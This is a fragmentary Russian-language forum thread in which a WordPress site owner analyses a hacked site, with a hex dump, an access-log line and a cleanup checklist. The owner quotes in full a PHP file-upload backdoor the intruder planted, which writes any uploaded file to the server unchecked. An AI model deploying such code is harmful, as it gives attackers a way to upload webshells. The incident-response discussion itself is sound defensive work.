это мне понятно, обычная форма загрузки файла - шелл туда впихивал
а вот это тот файл, который залит имеет вид если открыть блокнотом
4300 0000 2f76 6172 2f77 7777 2f6b 7568
6e69 6e61 7669 626f 722f 6461 7461 2f77
7777 2f6b 7568 6e69 2d6e 612d 7669 626f
вот хочу увидить этот код..
В общем еще нашел прикол
код был в 404 ошибке - так видимо заливали шелл. Потом нашел 90 вирусняков - каспер - трояны - почистил. Натыкал этот хацкер вот такие хернюшки
<?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?>
В общем это временный файл залитый. Как можно его расшифровать? Код такого вида
4300 0000
Из 16теричной системы перевести в обычную читабельную систему счисления?
мне нравится фраза. А если это спам и попал к вам несколько раз поставь + :)
всю ночь не спал, думал откуда эта фразка то)
вспомнил с Маши и медведя)
Тоже дети?)))
Подумаю о смене плагина. Или сам напишу корявый слайдер))
Я проверял не ПК. А скачал на локальный комп сайт и проверял ту папку
да именно спам и спалил)---------- Добавлено 25.12.2014 в 18:21 ----------
ip был хостинга. И файл
Распознать поражение сайта вредоносным ПО можно оценив наличие файла wp-includes/js/swobject.js
wp-includes/template-loader.php новой функции "FuncQueueObject".
1 - удалить файл c который написан выше? (не будет ли последствий после удаления)
2 - на все файлы поставить права 644? (будет ли норм работать вп?)
3. все директории, в которые производится загрузка файлов или кэширование - делаем read-write и кладем в них волшебный .htaccess, который либо делает
deny from all
4. удаляем все ненужные плагины и шаблоны
5. обновляем cms и оставшиеся плагины до свежих версий
6. сканируем свой комп на вирусы Касперским и AVZ (каспер ничего не видит и в текущем варианте)
7. после проверки компьютера на вирусы меняем все пароли у сайта и хостинга (включая пароль от БД). И делаем это раз в два месяца хотя бы.
wp-content/plugins/revslider/rs-plugin/assets/header.php
[24/Dec/2014:23:47:56 +0300] "POST /wp-content/old/plugins/woocommerce-custom-tabs/advanced-custom-fields/code.php HTTP/1.0" 404 151 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"
вот тут еще одно обращение к одному файлу, но нету его кода, тоже похоже вирус.
Поиск по сайту тоталом со словом n1c1ae6 ничего не дал. Тогда вывод - с постороннего ресурса посылают запрос или зашифровано
что приходит через пост я и сам вижу. А с чего видно что от пользователя? а не из файла?---------- Добавлено 25.12.2014 в 15:52 ----------
снесено, но надо ж дыру найти... Вот и пытаюсь узнать откуда ноги растут..
По поводу раздела - возможно и не правильно создал...
насколько это правильно я в functions.php добавил функцию
function my_assets() { wp_deregister_script( 'jquery' );}
а в header.php
if(is_front_page()): add_action( 'wp_enqueue_scripts', 'my_assets' ); endif;
так все работает
